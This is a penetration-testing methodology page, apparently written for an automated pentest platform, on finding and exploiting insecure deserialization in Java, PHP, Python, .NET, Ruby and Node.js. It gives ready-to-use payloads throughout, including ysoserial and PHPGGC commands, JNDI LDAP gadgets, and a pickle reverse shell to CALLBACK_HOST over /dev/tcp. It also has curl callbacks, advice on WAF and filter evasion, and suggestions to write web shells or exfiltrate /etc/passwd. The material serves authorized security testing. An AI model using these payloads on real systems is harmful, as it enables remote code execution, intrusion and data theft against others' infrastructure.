Skip to main content
CWECWE-502
WSTGWSTG-INPV-04
MITRE ATT&CKT1059
CVSS Range7.5-9.8
Toolsysoserial
Difficulty🔴 advanced

Insecure Deserialization

Identify endpoints accepting serialized data and attempt to exploit deserialization flaws for code execution. Check cookies, request bodies, hidden form fields, WebSocket messages, and inter-service channels for base64-encoded or binary serialized objects.

Quick Reference​

Magic bytes and signatures for identifying serialization formats at a glance:

FormatHex SignatureBase64 PrefixContent-Type
Java ObjectInputStreamAC ED 00 05rO0ABapplication/x-java-serialized-object
.NET BinaryFormatter00 01 00 00 00 FF FF FF FFAAEAAAD--
.NET ViewState--/wEPHidden field __VIEWSTATE
Python Pickle (v2+)0x80 + protocol bytegASV (v4)--
PHP serialize()--Starts with O:, a:, s:, i:--

JSON type discriminators (present in JSON bodies):

LibraryKeyExample
Jackson@class{"@class": "com.example.Gadget", ...}
Fastjson@type{"@type": "com.example.Gadget", ...}
Json.NET$type{"$type": "Namespace.Class, Assembly", ...}

PHP serialization type indicators:

PrefixMeaning
a:N:{}Array with N elements
O:N:"class":M:{}Object with N-char class name, M properties
s:N:"value"String with N characters
i:NInteger
b:0 / b:1Boolean
N;Null

Detect Deserialization Entry Points​

Locate Serialized Data​

Systematically examine these locations for serialized data:

  1. Cookies -- Look for base64-encoded values matching known signatures. Decode and inspect for serialization patterns (Java magic bytes, PHP object notation, .NET ViewState).
  2. Hidden form fields -- Especially __VIEWSTATE and __VIEWSTATEGENERATOR in ASP.NET WebForms applications.
  3. Request bodies -- Any non-JSON/XML content in POST bodies. Check Content-Type headers for application/x-java-serialized-object or custom types.
  4. Query parameters and path segments -- Base64-encoded blobs in URL parameters.
  5. WebSocket messages -- Binary frames may contain serialized objects.
  6. Caching headers -- May indicate objects are serialized for cache storage.
  7. Remember-me tokens -- Often contain serialized user/session data.
  8. Message queues -- If you can inject into message queue inputs, these often use binary serialization.

Fingerprint the Serialization Library​

  1. Send malformed serialized data and analyze error messages. Stack traces often reveal the exact deserialization class in use.
  2. Test with canary values that trigger type-specific errors (e.g., change a type indicator in PHP serialized data from O: to X: and observe the error).
  3. Review client-side JavaScript source for hints about backend technology and serialization libraries.
  4. Check HTTP response headers for framework fingerprints (e.g., X-Powered-By, Server) to narrow down the serialization ecosystem.

Send Detection Payloads​

Java -- Use the ysoserial URLDNS gadget to trigger a DNS lookup. This confirms deserialization occurs without needing a full RCE gadget chain. If you receive a DNS callback, the target deserializes your input.

PHP -- Send a malformed serialized string (e.g., truncate it mid-object) to trigger a parse error. The error message confirms unserialize() is in use.

Python -- Send a malformed pickle stream to identify pickle.loads() usage. Start with a safe payload that performs an import without executing anything destructive.

.NET -- For ViewState, check whether __VIEWSTATEGENERATOR is present and whether EnableViewStateMac is disabled. For BinaryFormatter, look for the AAEAAAD base64 prefix.

Exploit Java Deserialization​

Java deserialization vulnerabilities are among the most impactful. The ecosystem has numerous libraries with known gadget chains.

Identify Java Serialization​

# Base64 decoded starts with:
AC ED 00 05 (hex)

# Base64 encoded pattern:
rO0AB...

Generate Payloads with ysoserial​

# List available gadgets
java -jar ysoserial.jar

# Generate payload for Commons Collections
java -jar ysoserial.jar CommonsCollections5 'curl http://CALLBACK_HOST/confirm' | base64

Gadget chains by target library:

GadgetRequired Library
CommonsCollections1-7Apache Commons Collections 3.x/4.x
CommonsBeanutils1Apache Commons Beanutils
Spring1, Spring2Spring Framework
Hibernate1, Hibernate2Hibernate ORM
JRMPClientJava RMI (useful for bypassing egress restrictions)
Jdk7u21JDK 7u21 and below (no external dependencies)

Select the Right Gadget Chain​

  1. Start with URLDNS (no library dependencies, confirms deserialization occurs).
  2. If callback received, escalate to RCE gadgets.
  3. Try CommonsCollections variants first (most commonly available).
  4. Fall back to framework-specific gadgets (Spring, Hibernate).
  5. Use JRMPClient for blind RCE confirmation when direct output is unavailable.

Exploit Jackson Polymorphic Deserialization​

Requires enableDefaultTyping() or @JsonTypeInfo annotation on the target class.

{
"@class": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://CALLBACK_HOST/Exploit",
"autoCommit": true
}

Exploit Fastjson​

{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://CALLBACK_HOST/Exploit",
"autoCommit": true
}

Multiple version-specific bypasses exist for Fastjson's blacklist-based defenses. Enumerate the exact Fastjson version through error messages and research applicable bypasses.

Exploit XMLDecoder​

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>curl http://CALLBACK_HOST/confirm</string></void>
</array>
<void method="start"/>
</void>
</java>

Exploit PHP Deserialization​

PHP deserialization attacks abuse magic methods to build Property Oriented Programming (POP) chains that reach dangerous sinks like eval(), system(), or file_put_contents().

Identify Exploitable Magic Methods​

MethodTrigger
__wakeup()Called during unserialize()
__destruct()Called when object is destroyed
__toString()Called when object is cast to string
__call()Called when an inaccessible method is invoked
__get() / __set()Called for inaccessible property access

Build POP Chains​

  1. Identify classes in the application or its frameworks that implement dangerous magic methods.
  2. Map property dependencies between classes -- how one object's property references another.
  3. Chain objects so that deserialization triggers a sequence from entry magic method to dangerous sink.
  4. Serialize the crafted object graph.

Test POP Chain Payloads​

# Targeting a class with dangerous __destruct
O:14:"CacheHandler":1:{s:8:"filename";s:11:"/tmp/pwned";}

# Object injection with nested objects
O:4:"User":1:{s:7:"profile";O:11:"FileHandler":1:{s:4:"path";s:11:"/etc/passwd";}}

Exploit Phar Deserialization​

The phar:// stream wrapper triggers unserialization when PHP reads phar metadata. Use this when unserialize() is not directly reachable but file operations accept attacker-controlled paths.

Requirements:

  • File upload capability (any extension -- disguise as image, PDF, etc.)
  • A file operation that uses an attacker-controlled path (e.g., file_exists(), is_file(), file_get_contents())
  • phar.readonly=0 or a pre-existing phar file on disk

Attack steps:

  1. Create a malicious phar archive with the POP chain serialized in its metadata.
  2. Upload as an allowed file type (e.g., image.jpg).
  3. Trigger a file operation: file_exists('phar://uploads/image.jpg').
  4. PHP deserializes the phar metadata, executing the POP chain.

Generate Payloads with PHPGGC​

# List available gadget chains
phpggc -l

# Generate Laravel RCE payload
phpggc Laravel/RCE1 system 'id' -b

# Generate Symfony payload
phpggc Symfony/RCE1 system 'id' -b

Common framework chains:

Chain FamilyTarget
Laravel/RCE1-10Various Laravel versions
Symfony/RCE1-4Symfony framework
WordPress/RCE1-2WordPress and plugins
Doctrine/FW1Doctrine ORM (file write)
Drupal/RCE1Drupal CMS

Exploit Python Deserialization​

Python's pickle module is inherently unsafe with untrusted data. The __reduce__ method allows arbitrary code execution during unpickling. There is no safe way to use pickle with untrusted input.

Identify Pickle Usage​

# Pickle opcodes (protocol 0 -- text-based):
(cos\nsystem\n(S'id'\ntR.

# Protocol 2+ starts with:
0x80 followed by protocol number byte

# Base64 patterns:
gASV (protocol 4)

Craft Basic Pickle RCE Payload​

import pickle
import base64
import os

class RCE:
def __reduce__(self):
return (os.system, ('curl http://CALLBACK_HOST/confirm',))

payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())

Craft Advanced Pickle Payloads​

# Reverse shell payload
class RCE:
def __reduce__(self):
import subprocess
return (subprocess.Popen, (
['bash', '-c', 'bash -i >& /dev/tcp/CALLBACK_HOST/4444 0>&1'],
))

# Using builtins for cleaner payload
class RCE:
def __reduce__(self):
return (eval, ("__import__('os').system('id')",))

Exploit PyYAML​

These payloads work when the target uses yaml.load() with Loader=yaml.Loader (the unsafe default in older versions) or yaml.unsafe_load().

# Direct command execution
!!python/object/apply:os.system ['id']

# Using subprocess
!!python/object/apply:subprocess.check_output [['id']]

# Complex payload using module import
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('id')"

Note: yaml.safe_load() is not vulnerable. If you see yaml.safe_load() in source code or error messages referencing SafeLoader, this attack vector is mitigated.

Exploit .NET Deserialization​

.NET has multiple dangerous serializers. BinaryFormatter is the most notorious, but SoapFormatter, LosFormatter, ObjectStateFormatter, and Json.NET with TypeNameHandling enabled are equally dangerous.

Exploit ViewState (ASP.NET WebForms)​

  1. Locate the hidden __VIEWSTATE field in page source.
  2. Check if __VIEWSTATEGENERATOR is present (indicates MAC key generation).
  3. Determine if ViewState MAC validation is enabled or disabled.
  4. If MAC is disabled or the key is known, generate a malicious ViewState payload.
  5. Replace the __VIEWSTATE value and submit the form.

Finding the MAC key:

  • Look for web.config file disclosure (directory traversal, backup files, source code leaks).
  • Try known default or weak keys.
  • Check for padding oracle vulnerabilities that could allow decryption.

Exploit BinaryFormatter​

Look for the AAEAAAD base64 prefix or 00 01 00 00 00 FF FF FF FF hex signature.

Exploit Json.NET with TypeNameHandling​

When Json.NET is configured with TypeNameHandling.Auto, TypeNameHandling.All, or TypeNameHandling.Objects, type information in $type fields is used to instantiate objects.

{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList",
"$values": ["calc"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}

Generate Payloads with ysoserial.net​

# List available formatters and gadgets
ysoserial.exe -h

# Generate BinaryFormatter payload
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "ping CALLBACK_HOST"

# For ViewState (when MAC disabled)
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "ping CALLBACK_HOST"

Common gadgets:

GadgetRequirement
TypeConfuseDelegate.NET Framework 4.5+
PSObjectPowerShell environments
TextFormattingRunPropertiesRequires specific WPF assemblies
ActivitySurrogateSelectorWindows Workflow Foundation

Exploit Ruby Deserialization​

Exploit Marshal.load​

Marshal.load with untrusted data allows arbitrary object instantiation. The gadget chains depend on available gems and Ruby version.

# Universal gadget (requires specific ERB version)
require 'erb'

class Exploit
def initialize
@template = "<%= system('id') %>"
end
end

payload = Marshal.dump(Exploit.new)

Exploit YAML.load (Psych)​

Ruby's YAML.load (using the Psych parser) allows arbitrary object instantiation through YAML tags.

--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source
uri: "| id"

Note: YAML.safe_load is not vulnerable. Check which method the target uses.

Exploit Node.js Deserialization​

Exploit node-serialize​

The node-serialize library executes JavaScript functions embedded in serialized data via the _$$ND_FUNC$$_ marker.

// Serialized function execution (IIFE -- immediately invoked)
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}

Exploit funcster​

// IIFE in serialized data
{"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync('id')}()"}

Exploit cryo​

The cryo library can also be abused through prototype pollution and constructor manipulation in serialized objects. Examine the library version and research known payloads.

Confirm Blind Deserialization​

When no direct output is available from exploitation, use these techniques to confirm code execution.

Use Time-Based Confirmation​

Introduce a measurable delay during deserialization. If the response time increases by the specified amount, execution is confirmed.

# Python: time-based confirmation
class RCE:
def __reduce__(self):
return (__import__('time').sleep, (10,))

For Java, use Thread.sleep within a gadget chain. For PHP, trigger sleep() through a POP chain method.

Use HTTP Callback​

Use the built-in manage_ssrf_callbacks MCP tool to receive out-of-band confirmation.

result = mcp__pter-api-server__manage_ssrf_callbacks(action="create")
# Use result["callback_url"] in the deserialization payload
  • Java: URLDNS gadget triggers a DNS lookup; for HTTP confirmation use gadgets that invoke URL.openConnection().
  • PHP: Craft an object whose magic method calls file_get_contents() or curl_exec() to the callback URL.
  • Python: Pickle payload that imports urllib and performs a GET request to the callback URL.
  • .NET: Use gadgets that invoke WebClient to the callback URL.

Use File-Based Confirmation​

Write a marker file to a web-accessible location, then verify its existence through a separate HTTP request. Use this when outbound network connections are blocked.

Bypass Deserialization Filters​

Modern applications may implement deserialization filters. Apply these bypass strategies.

Bypass Java Look-Ahead Filters​

  • Java's ObjectInputFilter (JEP 290) checks class names before full deserialization.
  • Some gadget chains use nested objects to delay dangerous class loading past the filter check.
  • Research bypass techniques specific to the filter implementation version.

Bypass Class Blacklists​

  • Enumerate which classes are blocked by analyzing error messages when known gadgets are rejected.
  • Use alternative classes that achieve the same effect but are not on the blacklist.
  • Combine multiple lesser-known classes to construct novel gadget chains.

Bypass via Encoding Manipulation​

  • Try alternative serialization encodings (e.g., switch between standard Java serialization and XML-based serializers).
  • Wrap payloads in compression layers (GZIPInputStream) that are decompressed before filtering.
  • Exploit lenient parsers that accept malformed input to smuggle payloads past signature-based detection.

Evade WAF/IDS Detection​

  • Modify payload structure (reorder fields, add padding) while preserving functionality.
  • Use alternative gadget chains that have different byte signatures.
  • Encode the payload differently (double-encoding, alternate base64 alphabets).
  • Fragment the payload across multiple parameters if the application concatenates them before deserialization.

Assess Impact​

Progress through these verification levels to establish maximum severity.

Level 1 -- Confirmed Deserialization​

  • Objective: Prove the application deserializes attacker-controlled data.
  • Method: Trigger observable behavior differences with manipulated serialized data. Submit malformed data and observe deserialization errors, type confusion, or behavioral changes.
  • Evidence: Error messages referencing deserialization classes, stack traces showing readObject(), unserialize(), pickle.loads(), etc.

Level 2 -- Callback/DNS Confirmation​

  • Objective: Achieve out-of-band communication during deserialization.
  • Method: Use gadgets that trigger DNS lookups or HTTP requests to controlled infrastructure.
  • Evidence: DNS queries or HTTP callbacks received at your callback server with the unique identifier you embedded.

Level 3 -- Limited Code Execution​

  • Objective: Execute arbitrary commands with potential restrictions.
  • Method: Use RCE gadgets with simple commands (whoami, hostname, id).
  • Evidence: Command output visible in the response body, in error messages, or confirmed through callback data.

Level 4 -- Full Code Execution​

  • Objective: Demonstrate unrestricted command execution capability.
  • Method: Read sensitive files, write to the filesystem, or exfiltrate data.
  • Evidence: Contents of /etc/passwd, application configuration files, or data written to a web-accessible path.

Chain with Other Vulnerabilities​

Deserialization to SSRF to internal compromise: When direct RCE gadgets fail, use deserialization to trigger SSRF (e.g., JdbcRowSetImpl in Java). Target internal metadata services (169.254.169.254 on AWS, equivalent on Azure/GCP), admin panels, or other internal services.

Deserialization to file write to RCE: When code execution gadgets are blocked, find file write gadgets (less commonly filtered). Write a web shell to the document root and access it for command execution.

Write the Proof of Concept​

  • Always start with the lowest-impact confirmation payload (URLDNS, DNS callback, time delay) before escalating to RCE.
  • Use unique identifiers in every callback payload so you can correlate responses to specific injection points.
  • For RCE confirmation, execute only safe, read-only commands (id, whoami, hostname). Do not modify target state.
  • Document the exact payload used, the encoding applied, the injection point, and the evidence of execution.
  • Record the gadget chain and library version that succeeded -- this is critical for the vulnerability report.
  • If the target is in a containerized or serverless environment, note the constraints: limited filesystem, restricted egress, ephemeral execution.

Tools​

Use Exploitation Tools​

Java:

ToolPurpose
ysoserialPrimary Java deserialization exploitation. Dozens of gadget chains for common libraries.
ysoserial-modifiedExtended version with additional gadgets and bypass techniques.
marshalsecMarshalling-based exploitation. Includes JNDI server for LDAP/RMI chains.
JNDI-Injection-ExploitSimplified JNDI injection. Useful for Jackson/Fastjson exploitation.
JexBossJBoss and Java app server exploitation framework with deserialization modules.
SerializationDumperParse and analyze Java serialized data. Use to understand existing objects before crafting exploits.

PHP:

ToolPurpose
PHPGGCPHP Generic Gadget Chains for Laravel, Symfony, WordPress, Drupal, and more.
Phar creation scriptsFor crafting malicious phar archives when unserialize() is not directly reachable.

Python:

ToolPurpose
ficklingPickle decompiler and analysis. Useful for understanding pickle payloads and crafting custom exploits.
Custom payload generatorsOften necessary to craft payloads matching specific target environment constraints.

.NET:

ToolPurpose
ysoserial.net.NET equivalent of ysoserial. Supports BinaryFormatter, SoapFormatter, LosFormatter, ObjectStateFormatter, and Json.NET.
ViewState exploitation toolsFor ASP.NET ViewState attacks when MAC is disabled or the key is known.

Use Detection and Analysis Tools​

ToolPurpose
Burp Suite - Java Deserialization ScannerAutomatic detection and exploitation of Java deserialization.
Burp Suite - FreddyDetects deserialization across various formats.
Burp Suite - Java Serial KillerEnhanced Java deserialization exploitation.
SerialDetectorNetwork traffic analysis for serialization pattern identification.

Set Up Callback Infrastructure​

Use the built-in callback service for confirming blind exploitation:

ServiceType
manage_ssrf_callbacks (MCP tool)HTTP callback — self-hosted, private, integrated with the platform. Use action="create" to generate a callback URL
Webhook.siteFree HTTP callback capture (fallback only)
RequestBinHTTP callback capture (fallback only)
Custom DNS serverFull control over DNS exfiltration

Prioritization​

Test these first (highest real-world exploitability)​

  1. Java deserialization via known gadget chains -- EPSS >0.9 for Java deserialization CVEs (e.g., Apache Commons Collections, Spring, WebLogic). Use ysoserial to generate payloads. Look for rO0AB (base64) or AC ED (hex) signatures in cookies, headers, and request bodies.
  2. .NET ViewState deserialization -- If __VIEWSTATE is present and MAC validation is weak or the machine key is known, this is directly exploitable for RCE. Check /wEP base64 prefix.
  3. Python pickle in cookies or session data -- gASV base64 prefix indicates pickle v4. Python pickle deserialization is trivially exploitable for RCE with no gadget chain required.

Test these if time permits (lower exploitability)​

  1. PHP object injection via unserialize() -- Requires knowledge of available classes with exploitable magic methods (__wakeup, __destruct). Check for O: prefix in serialized data.
  2. Ruby Marshal.load exploitation -- Look for \x04\x08 magic bytes. Requires specific gadget chains available in the Ruby runtime.
  3. YAML deserialization in configuration endpoints -- Python's yaml.load() (without SafeLoader) and Ruby's YAML.load can execute arbitrary code. Niche but critical when found.

Skip if​

  • No serialized data signatures are found in any request/response (cookies, parameters, headers)
  • Application uses only JSON for data interchange with no binary or custom serialization

Note: Node.js/TypeScript applications are not immune -- node-serialize, unsafe js-yaml loading, and prototype pollution via JSON merge operations are exploitable. Check for these patterns even in JavaScript-only codebases.

Asset criticality​

Deserialization leading to RCE is always Critical regardless of endpoint. Prioritize by attack surface exposure: internet-facing endpoints accepting serialized data > inter-service communication channels > admin-only endpoints. Any confirmed deserialization vulnerability should be immediately escalated.